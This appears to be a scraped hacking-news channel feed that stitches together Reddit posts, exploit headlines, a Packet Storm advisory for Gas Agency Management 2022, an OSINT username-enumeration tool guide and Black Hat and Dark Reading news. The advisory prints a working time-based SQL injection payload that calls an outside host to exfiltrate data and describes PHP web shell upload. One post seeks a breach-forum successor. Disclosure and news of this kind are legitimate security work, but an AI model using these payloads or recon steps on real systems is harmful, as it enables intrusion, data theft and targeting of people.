hacking: security in practice
Starlink Successfully Hacked Using $25 Modchip

https://external-preview.redd.it/8u0TgdgBltkLohVXkh8YPNa28SncCLkpBrvHHFwmBA8.jpg?width=640&crop=smart&auto=webp&s=5537b717830b4a1481fe254461c23bd95905a2b2 submitted by /u/Glad_Living3908
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Serious version of raid forums successor

I have tried breached but there are too many just trolls and shitpost and I tired of people thinking that FBI is after them and getting actual life .

Nulled.to is same and dead

Is there a good forum where they are actually serious. I am OK with little fun but hurts when people do not realize that destroying them.

submitted by /u/Ornery-Balance9516
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Windows sxs!CNodeFactory::XMLParser_Element_doc_assembly_assemblyIdentity Heap Buffer Overflow

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Gas Agency Management 2022 SQL Injection / XSS / Shell Upload

https://1.bp.blogspot.com/--r13ngwGJe8/WWlvLp4DX4I/AAAAAAAAIMI/4n3jDvF3elUQ0c2WO1JA-mB24XU3pCyAACLcBGAs/s1600/h17.png
Gas Agency Management 2022 suffers from cross site scripting, remote SQL injection, and remote shell upload vulnerabilities.

SHA-256 | fbd80e45f29f9c744b81fc81cb49905ea0ee4dbf9f49738b949c8e75caba6e49

Download
## Title: Gas Agency Management-2022 by Mayuri K - SQLi+FU-RCE+XSS
## Author: nu11secur1ty
## Date: 08.12.2022
## Vendor Homepage: https://www.mayurik.com/#download_section
## Software Link-0:
https://www.sourcecodester.com/php/15586/gas-agency-management-system-project-php-free-download-source-code.html
## Software Link-1:
https://github.com/nu11secur1ty/CVE-nu11secur1ty/blob/main/vendors/mayuri_k/2022/Gas-Agency-Management-2022/Docs/gasmark.zip
## Description:
The Gas Agency Management-2022 by Mayuri K suffers from multiple
vulnerabilities, which means this project must be deprecated
immediately!

1. - SQLi: the parameter username is vulnerable to time-based blind
(query SLEEP) injection - not sanitizing well.
2. - Unauthenticated file upload - not sanitizing upload function -
possible to upload .php extension files on photo section, for the
customers.
3. - XSS-reflected in the section adds customer in address function.
4. - Web shell file upload - unauthenticated extension file upload, in
this case, is PHP web shell uploader. After this, the malicious user
can execute the already uploaded file remotely, and he can destroy
completely this flawed system.
5. - STATUS: For termination of the project.

[+]Payloads:

```mysql
---
Parameter: username (POST)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: username=mxiusQzi'+(select
load_file('\\\\alzg6yrkl2xieezgaz9zqnya91fu3lw9ncb4yumj.tupaciganka.com\\jfe'))+''
AND (SELECT 9964 FROM (SELECT(SLEEP(5)))bVfa)--
FygL&password=r8H!r2a!U2&login=
---
```
[+]Unauthenticated Upload:
- - - in the video:https://streamable.com/opqz3n

[+]XSS-Reflected:
- - - in the video:https://streamable.com/opqz3n

[+]RCE:
- - - in the video:https://streamable.com/opqz3n

## Reproduce:
[href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/mayuri_k/2022/Gas-Agency-Management-2022)

## Proof and Exploit:
[href](https://streamable.com/opqz3n)
--
System Administrator - Infrastructure Engineer
Penetration Testing Engineer
Exploit developer at https://packetstormsecurity.com/
https://cve.mitre.org/index.html and https://www.exploit-db.com/
home page: https://www.nu11secur1ty.com/
hiPEnIMR0v7QCo/+SEH9gBclAAYWGnPoBIQ75sCj60E=
nu11secur1ty
Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Windows sxssrv!BaseSrvActivationContextCacheDuplicateUnicodeString Heap Buffer Overflow

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Readymade Job Portal Script SQL Injection

___________________________
@hacking_Attack
@Hacking_Video

Black Hat Ethical Hacking
OSINT Tool: Blackbird

OSINT Tool: BlackbirdPost Views: 240 Premium Contenthttps://www.blackhatethicalhacking.com/wp-content/uploads/2022/08/Patreon.png Subscribe to Patreon to watch this episode.
Reading Time: 3 Minutes BlackbirdBlackbird by p1ngul1n0, is an OSINT (Open-source intelligence) tool to search fast for accounts by username across 153 sites. When performing Pentesting, and Social Engineering attacks, this recon step is very crucial when you want to conduct targeted attacks, and find active profiles on various social media sites, so you can tweak the approach and maximize the outcome of that attack. The name of the tool is based on the Lockheed SR-71 “Blackbird” a long range, high-altitude, Mach 3+ strategic reconnaissance aircraft developed and manufactured by the American aerospace company Lockheed Corporation.

https://www.blackhatethicalhacking.com/wp-content/uploads/2022/08/blackbird_web-1024x494.png
See Also: So you want to be a hacker? Complete Offensive Security and Ethical Hacking Course SetupClone the repositorygit clone https://github.com/p1ngul1n0/blackbirdcd blackbirdInstall requirementspip install -r requirements.txtTrending: Offensive Security Tool: Offensive-Azure UsageSearch by usernamepython blackbird.py -u usernameRun WebServerpython blackbird.py --webAccess http://127.0.0.1:9797 on the browser Read results filepython blackbird.py -f username.jsonList supported sitespython blackbird.py --list-sitesUse proxypython blackbird.py -u crash --proxy http://127.0.0.1:8080Show all resultsBy default only found accounts will be shown, however you can use the argument below to see them. python blackbird.py -u crash --show-allSupported Social NetworksIt is up to you for how you wish to use this toolkit. Each module can be ran independently, or you can install it as a package and use it in that way. Each module is exported to a script named the same as the module file. For example:

1. Facebook
2. YouTube
3. Twitter
4. Telegram
5. TikTok
6. Tinder
7. Instagram
8. Pinterest
9. Snapchat
10. Reddit
11. Soundcloud
12. Github
13. Steam
14. Linktree
15. Xbox Gamertag
16. Twitter Archived
17. Xvideos
18. PornHub
19. Xhamster
20. Periscope
21. Ask FM
22. Vimeo
23. Twitch
24. Pastebin
25. WordPress Profile
26. WordPress Site
27. AllMyLinks
28. Buzzfeed
29. JsFiddle
30. Sourceforge
31. Kickstarter
32. Smule
33. Blogspot
34. Tradingview
35. Internet Archive
36. Alura
37. Behance
38. MySpace
39. Disqus
40. Slideshare
41. Rumble
42. Ebay
43. RedBubble
44. Kik
45. Roblox
46. Armor Games
47. Fortnite Tracker
48. Duolingo
49. Chess
50. Shopify
51. Untappd
52. Last FM
53. Cash APP
54. Imgur
55. Trello
56. Minecraft
57. Patreon
58. DockerHub
59. Kongregate
60. Vine
61. Gamespot
62. Shutterstock
63. Chaturbate
64. ProtonMail
65. TripAdvisor
66. RapidAPI
67. HackTheBox
68. Wikipedia
69. Buymeacoffe
70. Arduino
71. League of Legends Tracker
72. Lego Ideas
73. Fiverr
74. Redtube
75. Dribble
76. Packet Storm Security
77. Ello
78. Medium
79. Hackaday
80. Keybase
81. HackerOne
82. BugCrowd
83. OneCompiler
84. TryHackMe
85. Lyrics Training
86. Expo
87. RAWG
88. Coroflot
89. Cloudflare
90. Wattpad
91. Mixlr
92. ImageShack
93. Freelancer
94. Dev To
95. BitBucket
96. Ko Fi
97. Flickr
98. HackerEarth
99. Spotify
100. Snapchat Stories
101. Audio Jungle
102. Avid Community
103. Bandlab
104. Carrd
105. CastingCallClub
106. Coderwall
107. Codewars
108. F3
109. Gab
110. Issuu
111. Steemit
112. Venmo
113. MODDB
114. COLOURlovers
115. Scheme Color
116. Roblox Trade
117. Aeth[...]

erhub
118. BugBounty
119. Huntr
120. Universocraft
121. Wireclub
122. AminoApps
123. Trakt
124. Giphy
125. Minecraft List
126. SEOClerks
127. Mix
128. Codecademy
129. Bandcamp
130. Poshmark
131. hackster
132. BodyBuilding
133. Mastodon
134. IFTTT
135. Anime Planet
136. Destructoid
137. Gitee
138. Teknik
139. BitChute
140. The Tatto Forum
141. NPM
142. PyPI
143. HackenProof
144. VKontakte
145. about me
146. Dissenter
147. Designspiration
148. Fark
149. mmorpg
150. Pikabu
151. Playstation Network
152. Warrior Forum
153. Pixilart Export ReportThe results can be exported as a PDF Report.

https://www.blackhatethicalhacking.com/wp-content/uploads/2022/08/blackbird_report_pdf_cover.png https://www.blackhatethicalhacking.com/wp-content/uploads/2022/08/blackbird_report_pdf_results.png Export ReportWhen possible Blackbird will extract the user’s metadata, bringing data such as name, bio, location and profile picture.

https://www.blackhatethicalhacking.com/wp-content/uploads/2022/08/blackbird_metadata.png Random UserAgentBlackbird uses a random UserAgent from a list of 1000 UserAgents in each request to prevent blocking. Supersonic speedBlackbird sends async HTTP requests, allowing a lot more speed when discovering user accounts. JSON TemplateBlackbird uses JSON as a template to store and read data.

The data.json file store all sites that blackbird verify. Params* app – Site name
* url
* valid – Python expression that returns True when user exists
* id – Unique numeric ID
* method – HTTP method
* json – JSON body POST (needs to be escaped, use this: https://codebeautify.org/json-escape-unescape)
* {username} – Username place (URL or Body)
* response.status – HTTP response status
* responseContent – Raw response body
* soup – Beautifulsoup parsed response body
* jsonData – JSON response body
* metadada – a list of objects to be scraped ExamplesGET

https://www.blackhatethicalhacking.com/wp-content/uploads/2022/08/GET-1024x610.png

POST JSON

https://www.blackhatethicalhacking.com/wp-content/uploads/2022/08/POST-JSON-1024x508.png

GET with Metadata extraction

https://www.blackhatethicalhacking.com/wp-content/uploads/2022/08/GET-with-Metadata-extraction-919x1024.png DisclaimerThis or previous program is for Educational purpose ONLY. Do not use it without permission. The usual disclaimer applies, especially the fact that the author is not liable for any damages caused by direct or indirect use of the information or functionality provided by these programs. The author or any Internet provider bears NO responsibility for content or misuse of these programs or any derivatives thereof. By using these programs you accept the fact that any damage (dataloss, system crash, system compromise, etc.) caused by the use of these programs its your responsibility.
Clone the repo from here: GitHub Link
Trending: Write up: Find Hidden Info using Google Dorking manually, and Automated using Pagodo https://www.blackhatethicalhacking.com/wp-content/uploads/2022/03/Merch.png Recent Tools* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/08/Offensive-Azure-300x150.png Offensive Security Tool: Offensive-AzureAugust 5, 2022
Reading Time: 4 minutes

* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/07/Pretender-300x150.png Offensive Security Tool: PretenderJuly 29, 2022
Reading Time: 4 minutes

* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/07/DDoS-Layer7-bheh-300x150.png Offensive Security Tool: DDoS-Layer7-bhehJuly 28, 2022
Reading Time: 3 minutes

* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/07/GitHacker-300x150.png Offensive Security Tool: GitHackerJuly 22, 2022
Reading Time: 3 minutes https://www.blackhatethicalhacking.com/wp-content/uploads/2022/06/OffSec-Course.png Offensive Security & Ethical Hacking CourseBegin the learning curve of hacking now!
The post OSINT Too[...]

___________________________
@hacking_Attack
@Hacking_Video

l: Blackbird first appeared on Black Hat Ethical Hacking.

___________________________
@hacking_Attack
@Hacking_Video

Black Hat Ethical Hacking
Browser-powered desync: New class of HTTP request smuggling attacks showcased at Black Hat USA

Browser-powered desync: New class of HTTP request smuggling attacks showcased at Black Hat USAPost Views: 252 Premium Contenthttps://www.blackhatethicalhacking.com/wp-content/uploads/2022/08/Patreon-1.png Subscribe to Patreon to watch this episode.
Reading Time: 3 Minutes A new class of HTTP request smuggling attack allowed a security researcher to compromise multiple popular websites including Amazon and Akamai, break TLS, and exploit Apache servers.Speaking at Black Hat USA yesterday (August 10), James Kettle unveiled research that opens the new frontier in HTTP request smuggling – browser-powered desync attacks.

The briefing and it’s whitepaper, titled ‘Browser-Powered Desync Attacks: A New Frontier in HTTP Request Smuggling’, builds on Kettle’s previous research into desync attacks.

Traditional desync attacks poison the connection between a front-end and back-end server and are therefore impossible on websites that don’t use a front-end/back-end architecture.

However this new technique causes a desync between the front-end and the browser, allowing an attacker to “craft high-severity exploits without relying on malformed requests that browsers will never send”, Kettle noted.

This can expose a whole new range of websites to server-side request smuggling and enables an attacker to perform client-side variations of these attacks by inducing a victim’s browser to poison its own connection to a vulnerable web server.

Kettle demonstrated how he was able to turn a victim’s web browser into a desync delivery platform, shifting the request smuggling frontier by exposing single-server websites and internal networks.

He was able to combine cross-domain requests with server flaws to poison browser connection pools, install backdoors, and release desync worms – in turn compromising targets including Amazon, Apache, Akamai, Varnish, and multiple web VPNs.
See Also: So you want to be a hacker? Complete Offensive Security and Ethical Hacking Course DiscoveryKettle told attendees at the 25th anniversary of the annual hacking conference that four separate vulnerabilities led to the discovery of browser-powered desync attacks.

The first, involving request validation, leverages a technique in which an attacker can use two requests down the same connection with a valid host header in order to gain access to the host in the second request, because the reverse proxy only validates the first host.

The second, first-request routing, is a closely related flaw which occurs when the front-end uses the first request’s Host header to decide which back-end to route the request to, and then routes all subsequent requests from the same client connection down the same back-end connection.

Kettle also discovered a technique to detect connection-locked request smuggling by using a delay and reading the data early to decide if the front-end is using the Content-Length header.

https://www.blackhatethicalhacking.com/wp-content/uploads/2022/08/819f-article-220810-james-k-1024x576.jpg
James Kettle presents at the annual hacking conference held in Las Vegas
If it is using the Content-Length it will time out, which will signify the difference between connection-locked HTTP/1 request smuggling and harmless HTTP pipelining.

A fourth vulnerability caused a desync known as CL.0/H2.0. Kettle was able to use this to compromise Amazon users’ accounts, enabling him to steal users’ requests and add them to his shopping list. He could capture all their requests, including tokens which could have enabled him to impersonate those users.

Speakin[...]

___________________________
@hacking_Attack
@Hacking_Video

Black Hat Ethical Hacking
Browser-powered desync: New class of HTTP request smuggling attacks showcased at Black Hat USA

___________________________
@hacking_Attack
@Hacking_Video

prevent xss
https://www.reddit.com/r/Pentesting/comments/wn0pak/prevent_xss/

hello Is setting the cookie to http only is enough to protect against xss attacks? submitted by /u/Objective_Fruit_5995 (https://www.reddit.com/user/Objective_Fruit_5995)
[link] (https://www.reddit.com/r/Pentesting/comments/wn0pak/prevent_xss/) [comments] (https://www.reddit.com/r/Pentesting/comments/wn0pak/prevent_xss/)

___________________________
@hacking_Attack
@Hacking_Video

Dark Reading: Attacks/Breaches
How to Clear Security Obstacles and Achieve Cloud Nirvana

Back-end complexity of cloud computing means there's plenty of potential for security problems. Here's how to get a better handle on SaaS application security.

Dark Reading: Attacks/Breaches
Novel Ransomware Comes to the Sophisticated SOVA Android Banking Trojan

Unusually, SOVA, which targets US users, now allows lateral movement for deeper data access. Version 5 adds an encryption capability.